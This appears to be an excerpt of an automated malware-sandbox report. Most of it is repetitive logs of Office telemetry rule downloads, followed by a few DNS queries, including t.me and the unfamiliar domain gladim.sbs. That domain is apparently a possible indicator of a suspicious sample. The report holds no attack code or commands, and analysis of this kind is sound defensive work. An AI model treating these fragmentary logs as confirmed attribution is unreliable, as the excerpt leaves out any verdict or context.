Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230104v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230157v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230158v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230162v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net

Source: 8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr

String found in binary or memory: "url": "https://www.youtube.com" equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: t.me
Source: global traffic	DNS traffic detected: DNS query: gladim.sbs
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: ntp.msn.com
Source: global traffic	DNS traffic detected: DNS query: bzib.nelreports.net
